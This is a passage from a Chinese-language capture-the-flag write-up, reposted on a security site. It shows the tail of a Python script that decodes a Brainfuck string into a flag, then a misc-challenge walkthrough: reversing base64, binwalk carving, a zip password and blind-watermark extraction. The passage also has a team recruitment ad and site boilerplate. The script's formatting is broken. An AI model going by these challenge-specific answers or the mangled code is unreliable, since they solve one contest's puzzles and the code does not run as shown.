ch, segment_log = run_segment(segment)        result += ch        logs.append(f"[Segment {i+1}]nCode: {segment}nOutput Char: {ch}nMemory:n" + "n".join(segment_log) + "n")with open(log_file, 'w', encoding='utf-8'as f:        f.write("n".join(logs))with open(out_file, 'w', encoding='utf-8'as f:        f.write(result)    print("✅ 提取成功:", result)    print(f"📄 输出写入:{out_file}, 日志写入:{log_file}")return resultbf_code = """>+++++++++++++++++[<++++++>-+-+-+-]<[-]>++++++++++++[<+++++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++[<+++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++[<+++>-+-+-+-]<[-]>+++++++++++++++++[<+++>-+-+-+-]<[-]>++++++++++++[<+++++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>++++++++[<++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++[<++++>-+-+-+-]<[-]>++++++++[<++++++>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++[<++++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>++++++++++++[<+++++++>-+-+-+-]<[-]>++++++++++[<+++++++>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>++++++++++[<+++++>-+-+-+-]<[-]>++++++++[<++++++>-+-+-+-]<[-]>++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++++++++++++++[<+++>-+-+-+-]<[-]>+++++++++++[<++++++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++[<++>-+-+-+-]<[-]>++++++++[<++++++>-+-+-+-]<[-]>+++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>+++++++[<+++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++[<++++>-+-+-+-]<[-]>+++++++++++[<+++>-+-+-+-]<[-]>+++++++++++++++++++++++++[<+++++>-+-+-+-]<[-]"""brainfuck_split_and_decode(bf_code)

曼波曼波

那个二维码扫一下是假的flag

那个二维码扫一下是假的flag

里面有个smn.txt开头是=感觉可能是base64倒过来

写个python脚本把smn.txt倒过来,然后找一个网站,base64转换成图片

然后拖到kali里,binwalk分解一下得到一个压缩包

根据文本文件中的信息得到解压密码为XYCTF2025

解压后得到一个图片,使用工具打开发现被提示有水印(问我是否要开通vip去除水印呢,笑死我了)

可以猜到大概是盲水印,使用工具提取水印得到最终flag

结束

招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]

2025XYCTF writeup by Mini-Venom

原文始发于微信公众号(ChaMd5安全团队):2025XYCTF writeup by Mini-Venom

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月8日09:21:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2025XYCTF writeup by Mini-Venomhttp://cn-sec.com/archives/3928068.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息